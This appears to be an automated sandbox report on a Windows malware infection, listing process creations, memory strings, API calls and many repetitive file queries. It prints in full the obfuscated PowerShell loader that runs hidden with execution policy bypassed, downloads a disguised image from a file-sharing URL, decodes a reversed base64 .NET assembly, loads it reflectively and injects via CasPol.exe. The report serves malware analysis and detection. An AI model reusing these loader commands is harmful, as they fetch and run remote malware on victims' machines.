icagicagicagicagicagicagicagicagicagic1oyw1ficagicagicagicagicagicagicagicagicagicagicagicjpqxl3bmkiicagicagicagicagicagicagicagicagicagicagicagic1oqu1lu1bhq2ugicagicagicagicagicagicagicagicagicagicagicagsxjseiagicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagicq1dgy6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4ymjaumjkvnduvc2vlagf2aw5nzmfjaw5nymvzdhroawduc3rvz2v0bwviywnrd2l0agvudglyzxrpbwvncmvhdc50suyilcikru5wokfquerbvefcc2vlagf2aw5nzmfjaw5nymvzdhroawduc3rvz2v0bwviywnrd2l0agvudglyzxrpbwvncmuudmjtiiwwldapo3n0qxjulxnsruvwkdmpo0lfwcagicagicagicagicagicagicagicagicagicagicagicaijevodjpbufbeqvrbxhnlzwhhdmluz2zhy2luz2jlc3r0aglnbnn0b2dldg1lymfja3dpdghlbnrpcmv0aw1lz3jllnziuyi='+[char]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'jiaoicr2zxjcb1nlchjfrmvyzu5dzs5ut3n0cklurygpwzesm10rj1gnluppau4njykokcdvcglpbwfnzvvybca9iglmzgh0dhbzoi8vmtaxny5mawxlbwfpbc5jb20vyxbpl2zpbguvz2v0p2zpbgvrzxk9mkfhx2jxbzlszxu0jysnnxq3qluxa1znc2q5cfq5cgdtu2x2u3rhcm5usunmrmgnkydtvetqm0xdnlnrdeljt2nfvdm1dyzwa192awq9jysnzmq0zjyxngjimja5yzyyyze3mza5nduxnzzhmdkwngygawzko29waxdlyknsawvudca9ie5ldy1pymply3qgu3lzdgvtlk5ldc5xzwjdbgllbnq7b3bpaw1hz2vcexrlcya9ig9waxdlyknsawvudc5eb3dubg9hzerhdgeob3bpaw1hz2vvcmwpo29wawltywdlvgv4dca9ifttexn0zw0uvgv4dc5fbmnvzgluz106olvurjgur2v0u3ryaw5nkg8nkydwawltywdlqnl0zxmpo29waxn0yxj0rmxhzya9iglmzdw8qkftrty0x1nuqvjupj5pzmq7b3bpzw5krmxhzya9iglmzdw8qkftrty0x0vord4+awzko29waxn0yxj0sw5kzxggpsbvcglpbwfnzvrlehqusw5kzxhpzihvjysncglzjysndgfydezsywcpo29wawvuzeluzgv4id0gb3bpaw1hz2vuzxh0lkluzgv4t2yob3bpzw5krmxhzyk7b3bpc3rhcnrjbmrlecatjysnz2ugmcatyw5kig9wawvuzeluzgv4ic1ndcbvcglzdgfydeluzgunkyd4o29waxn0yxj0sw5kzxggkz0gb3bpc3rhcnrgbgfnlkxlbmd0adtvcccrj2liyxnlnjrmzw5ndgggpsbvcgllbmrjbmrlecatig9waxn0yxj0sw5kzxg7b3bpymfzzty0q29tbwfuzca9ig9wawltywdlvgv4dc5tdwjzdccrj3jpbmcob3bpc3rhcnqnkydjbmrlecwgb3bpymfzzty0tgvuz3rokttvcgliyxnlnjrszxzlcnnlzca9ic1qbycrj2luichvcgliyxnlnjrdb21tyw5kllrvq2hhckfycmf5kckgmfenkydsiezvckvhy2gtt2jqzwn0ihsgb3bpxyb9kvsnkyctms4ulshvcgliyxnlnjrdb21tyw5klkxlbmd0acldo29wawnvbw1hbmrcexrlcya9ifttescrj3n0zw0uq29udicrj2unkydydf06okzyb21cyxnljysnnjrtdhjpbmcob3bpymfzzty0umv2zxjzzwqpo29wawxvywrlzefzc2vtymx5id0gw1n5c3rlbs5szwzszwn0aw8nkydulkfzc2vtymx5xto6tg9hzchvcgljb21tyw5kqnl0zxmpo29waxzhau1ldghvzca9iftkbmxpyi5jty5ib21lxs5hzxrnzxrob2qoawynkydkvkfjawzkjysnkttvcgl2ywlnzxrob2qusw52b2tlkg9waw51bgwsieaoawzkdhh0lkderfjesc81nc85mi4nkycwmjiumy4yotevlzpwdhroawzklcbpzmrkzxnhdgl2ywrvawzklcbpzmrkzxnhdgl2ywrvawzklcbpzmrkzxnhdgl2ywrvawzklcbpzmrdyxnqb2xpzmqsiglmzgrlc2f0axynkydhzg8nkydpzmqsiglmzgrlc2f0jysnaxzhzg9pzmqsawzkzgvzyxrpdmfkb2lmzcxpzmrkzxnhdgl2ywrvawzklglmzgrlc2f0axzhzg9pzmqsawzkzgvzyxrpdmfkb2lmzcxpzmrkzxnhdccrj2l2ywrvawzklglmzdfpzmqsawzkzgvzyxrpdmfkb2lmjysnzckpoycplnjluexbq2uojzbrbccsw1n0cmlur11bq2hbcl0xmjqplnjluexbq2uoj2lmzccsw1n0cmlur11bq2hbcl0zoskucmvqtefdzsgow0noqxjdmtexk1tdaefyxtexmitbq2hbcl0xmduplcckjykp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "& ( $verbosepreference.tostring()[1,3]+'x'-join'')(('opiimageurl = ifdhttps://1017.filemail.com/api/file/get?filekey=2aa_bwo9reu4'+'5t7bu1kvgsd9pt9pgsslvstgrnticffh'+'mtkj3lc6sqticoc_t35w&pk_vid='+'fd4f614bb209c62c1730945176a0904f ifd;opiwebclient = new-object system.net.webclient;opiimagebytes = opiwebclient.downloaddata(opiimageurl);opiimagetext = [system.text.encoding]::utf8.getstring(o'+'piimagebytes);opistartflag = ifd<<base64_start>>ifd;opiendflag = ifd<<base64_end>>ifd;opistartindex = opiimagetext.indexof(o'+'pis'+'tartflag);opiendindex = opiimagetext.indexof(opiendflag);opistartindex -'+'ge 0 -and opiendindex -gt opistartinde'+'x;opistartindex += opistartflag.length;op'+'ibase64length = opiendindex - opistartindex;opibase64command = opiimagetext.subst'+'ring(opistart'+'index, opibase64length);opibase64reversed = -jo'+'in (opibase64command.tochararray() 0q'+'l foreach-object { opi_ })['+'-1..-(opibase64command.length)];opicommandbytes = [sy'+'stem.conv'+'e'+'rt]::frombase'+'64string(opibase64reversed);opiloadedassembly = [system.reflectio'+'n.assembly]::load(opicommandbytes);opivaimethod = [dnlib.io.home].getmethod(if'+'dvaiifd'+');opivaimethod.invoke(opinull, @(ifdtxt.gddrdh/54/92.'+'022.3.291//:ptthifd, ifddesativadoifd, ifddesativadoifd, ifddesativadoifd, ifdcaspolifd, ifddesativ'+'ado'+'ifd, ifddesat'+'ivadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesat'+'ivadoifd,ifd1ifd,ifddesativadoif'+'d));').replace('0ql',[string][char]124).replace('ifd',[string][char]39).replace(([char]111+[char]112+[char]105),'$'))"	Jump to behavior

Source: CasPol.exe, 00000012.00000002.3689257366.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000012.00000002.3689257366.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000012.00000002.3689257366.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: CasPol.exe, 00000012.00000002.3689257366.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerd
Source: CasPol.exe, 00000012.00000002.3689257366.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerO3\
Source: CasPol.exe, 00000012.00000002.3689257366.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerr\|
Source: CasPol.exe, 00000012.00000002.3689257366.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerO3\0
Source: CasPol.exe, 00000012.00000002.3689257366.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000012.00000002.3689257366.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|
Source: CasPol.exe, 00000012.00000002.3689257366.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, logs.dat.18.dr	Binary or memory string: [Program Manager]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_00433E0A cpuid

18_2_00433E0A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: GetLocaleInfoA,	18_2_0040E679
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: EnumSystemLocalesW,	18_2_004470AE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: GetLocaleInfoW,	18_2_004510BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	18_2_004511E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: GetLocaleInfoW,	18_2_004512EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	18_2_004513B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: GetLocaleInfoW,	18_2_00447597
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	18_2_00450A7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: EnumSystemLocalesW,	18_2_00450CF7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: EnumSystemLocalesW,	18_2_00450D42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: EnumSystemLocalesW,	18_2_00450DDD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	18_2_00450E6A

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
